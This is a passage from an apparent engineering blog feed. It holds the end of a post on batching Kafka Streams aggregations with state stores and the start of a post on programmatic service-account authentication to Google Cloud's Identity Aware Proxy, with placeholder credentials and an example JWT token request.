punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visitorAggregated&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; countStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; aggregateCount&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;aggregateCount &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; threshold&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; toForward &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;pair&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visitorAggregated&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; countStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; toForward&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;forwardAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValueIterator&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;hasNext&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValue&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; entry &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; it&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; entry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; countStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; it&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;punctuate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;long&lt;/span&gt; timestamp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;forwardAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;forwardAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;init()&lt;/code&gt; initializes the state stores and schedules &lt;code class=&quot;language-text&quot;&gt;punctuate()&lt;/code&gt; to strictly execute once for every fixed time interval. One state store maintains a count of events per customer and other the results of the aggregation.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;transform()&lt;/code&gt; is called for all records received from upstream Processor nodes and returns a key-value pair to be processed by downstream nodes. On receiving a record we perform an increment operation for the key (customerId). If the count increases beyond a threshold, the aggregation result is forwarded before the timer is called by the &lt;code class=&quot;language-text&quot;&gt;punctuate()&lt;/code&gt; method, and the state is flushed for the particular key in both state stores. Null values returned from this method are ignored by the downstream Processor nodes.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;punctuate()&lt;/code&gt; invokes &lt;code class=&quot;language-text&quot;&gt;forwardAll()&lt;/code&gt;, which iterates over all the key-value pairs in the aggregation state store, forwards all key-value pairs at the end of the aggregation interval to downstream Processor nodes, and clears both state stores. &lt;code class=&quot;language-text&quot;&gt;close()&lt;/code&gt; calling &lt;code class=&quot;language-text&quot;&gt;forwardAll()&lt;/code&gt; ensures that whenever the Kafka Streams application receives a shutdown signal, all records in the in-memory store are forwarded before the process exits.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h3&gt; &lt;p&gt;Using state stores and Processor API, we were able to batch updates in a predictable and time-bound manner without the overhead of a repartition. Also, using in-memory key-value stores meant that the Kafka Streams application left a minimal footprint on the Kafka cluster. You can find the complete working code &lt;a href=&quot;https://github.com/wingify/kafka-streams-stateful&quot;&gt;here&lt;/a&gt;. Should you have any feedback or doubts regarding this article you can share them via comments.&lt;/p&gt; &lt;h3 id=&quot;useful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#useful-resources&quot; aria-label=&quot;useful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Useful resources&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://docs.confluent.io/current/streams/quickstart.html&quot;&gt;Kafka Streams Quick Start&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://www.confluent.io/blog/kafka-streams-tables-part-4-elasticity-fault-tolerance-advanced-concepts/&quot;&gt;Streams and Tables in Apache Kafka&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://www.confluent.io/blog/kafka-streams-take-on-watermarks-and-triggers/&quot;&gt;Kafka Streams’ Take on Watermarks and Triggers&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://www.confluent.io/blog/optimizing-kafka-streams-applications/&quot;&gt;Optimizing Kafka Streams Applications&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Aditya Gaur</author></item><item><title><![CDATA[Programmatic Authentication under IAP on GCP]]></title><description><![CDATA[Overview We recently started with moving a lot of our infrastructure onto Google Cloud Platform. With this, we also decided that a lot of…]]></description><link>https://engineering.wingify.com//posts/programmatic-authentication-under-iap/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/programmatic-authentication-under-iap/</guid><pubDate>Fri, 25 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;overview&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#overview&quot; aria-label=&quot;overview permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Overview&lt;/h3&gt; &lt;p&gt;We recently started with moving a lot of our infrastructure onto Google Cloud Platform. With this, we also decided that a lot of entities, that are not supposed to be accessible from outside the organization, should be moved behind GCP’s &lt;a href=&quot;https://cloud.google.com/iap&quot;&gt;Identity Aware Proxy&lt;/a&gt;. Google’s Identity Aware Proxy (IAP) implements zero-trust access to GCP resources. It allows enforcing access control policies for applications and resources, where group-based application access and service account-based access can be configured, without using any VPN. Any resource or application that is present behind IAP can only be accessed through the proxy by members who have the correct Identity and Access Management (IAM) roles.&lt;/p&gt; &lt;h3 id=&quot;the-problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-problem&quot; aria-label=&quot;the problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Problem&lt;/h3&gt; &lt;p&gt;A lot of our automation frameworks are run on our test-apps, but now moving them behind IAP posed a new challenge of handling the IAP authentication. Reading through the documentation provided on GCP we figured that the process of service account based programmatic authentication of applications was pretty cumbersome. One has to first add the service account to the access list. To do this, go to the &lt;a href=&quot;https://console.cloud.google.com/security/iap&quot;&gt;Identity Aware proxy page&lt;/a&gt;, then select the resource to be secured. Then in the info panel, you can add the email address for the service account, and the access policy desired. This gives you a service account JSON file. Something like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;service_account&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;project_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PROJECT_ID&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;private_key_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;abcd123&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;private_key&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;-----BEGIN PRIVATE KEY-----qwerty6789-----END PRIVATE KEY-----\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;client_email&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;someone@PROJECT_ID.iam.gserviceaccount.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;client_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1239876543210&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;auth_uri&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://accounts.google.com/o/oauth2/auth&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;token_uri&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://oauth2.googleapis.com/token&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;auth_provider_x509_cert_url&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://www.googleapis.com/oauth2/v1/certs&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;client_x509_cert_url&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://www.googleapis.com/robot/v1/metadata/x509/someone%40PROJECT_ID.iam.gserviceaccount.com&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then use the claim of &lt;code class=&quot;language-text&quot;&gt;target_audience&lt;/code&gt; which you get as the client ID in the previous step, to generate a JWT based token. You can also get the client ID by going to the IAP page, select the resource under consideration, click on the ellipses and then click on &lt;strong&gt;Edit OAuth Client&lt;/strong&gt;. On the subsequent page, you get the &lt;strong&gt;client ID&lt;/strong&gt; associated with the resource. Now, mind you, generating the JSON Web Token (JWT) in itself is a separate task, for which you’d need some JWT library. And then the JWT itself needs to be signed with RSA-256 using the private key which is in the service account JSON file. The signature bytes are then to be added to the token, with dot separators, as:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;alg&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;RS256&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;typ&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;JWT&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;kid&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PRIVATE_KEY_ID&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; . &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;iss&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;someone@PROJECT_ID.iam.gserviceaccount.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;sub&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;someone@PROJECT_ID.iam.gserviceaccount.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;aud&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://SERVICE_NAME/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;iat&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1600948084&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;exp&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1600951684&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; . &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;signature bytes&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The signed JWT along with the signature bytes addendum and base64url encoded would look something like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiI3NjEzMjY3OTgwNjktcjVtbGpsbG4xcmQ0bHJiaGc3NWVmZ2lncDM2bTc4ajVAZGV2ZWxvcGVyLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzY29wZSI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2F1dGgvcHJlZGljdGlvbiIsImF1ZCI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL29hdXRoMi92NC90b2tlbiIsImV4cCI6MTMyODU1NDM4NSwiaWF0IjoxMzI4NTUwNzg1fQ.UFUt59SUM2_AW4cRU8Y0BYVQsNTo4n7AFsNrqOpYiICDu37vVt-tw38UKzjmUKtcRsLLjrR3gFW3dNDMx_pL9DVjgVHDdYirtrCekUHOYoa1CMR66nxep5q5cBQ4y4u2kIgSvChCTc9pmLLNoIem-ruCecAJYgI9Ks7pTnW1gkOKs0x3YpiLpzplVHAkkHztaXiJdtpBcY1OXyo6jTQCa3Lk2Q3va1dPkh_d--GU2M5flgd8xNBPYw4vxyt0mP59XZlHMpztZt0soSgObf7G3GXArreF_6tpbFsS3z2t5zkEiHuWJXpzcYr5zWTRPDEHsejeBSG8EgpLDce2380ROQ&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Once you have the signed JWT, you have to base64url encode it and then make an &lt;strong&gt;OIDC&lt;/strong&gt; access token request. This request would be a &lt;strong&gt;POST&lt;/strong&gt; request and should be made to the Google OAuth API URL. Two parameters, &lt;code class=&quot;language-text&quot;&gt;grant_type&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;assertion&lt;/code&gt; are to be added to this request. &lt;code class=&quot;language-text&quot;&gt;grant_type&lt;/code&gt; has the string value of &lt;code class=&quot;language-text&quot;&gt;urn:ietf:params:oauth:grant-type:jwt-bearer&lt;/code&gt; while the &lt;code class=&quot;language-text&quot;&gt;assertion&lt;/code&gt; parameter has the signed JWT, including the signature bytes, as it&apos;s value.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;POST /token HTTP/1.1 Host: GOOGLE_OAUTH_API_URL Content-Type: application/x-www-form-urlencoded grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&amp;amp;assertion=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiI3NjEzMjY3OTgwNjktcjVtbGpsbG4xcmQ0bHJiaGc3NWVmZ2lncDM2bTc4ajVAZGV2ZWxvcGVyLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzY29wZSI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2F1dGgvcHJlZGljdGlvbiIsImF1ZCI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS9vL29hdXRoMi90b2tlbiIsImV4cCI6MTMyODU3MzM4MSwiaWF0IjoxMzI4NTY5NzgxfQ.ixOUGehweEVX_UKXv5BbbwVEdcz6AYS-6uQV6fGorGKrHf3LIJnyREw9evE-gs2bmMaQI5_UbabvI4k-mQE4kBqtmSpTzxYBL1TCd7Kv5nTZoUC1CmwmWCFqT9RE6D7XSgPUh_jF1qskLa2w0rxMSjwruNKbysgRNctZPln7cqQ&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The received response would contain the &lt;strong&gt;Bearer&lt;/strong&gt; access token. This token then needs to be incorporated in all the requests that are made to the resources which are present behind the IAP.&lt;/p&gt; &lt;p&gt;At the onset, if you read the description above, and if that description is not daunting enough, then &lt;a href=&quot;https://cloud.google.com/iap/docs/authentication-howto#iap_make_request-nodejs&quot;&gt;read the documentation itself&lt;/a&gt;; The steps seem to be confusing and seems like it could do some rework in being more comprehendible.&lt;/p&gt; &lt;h3 id=&quot;the-solution&quot; 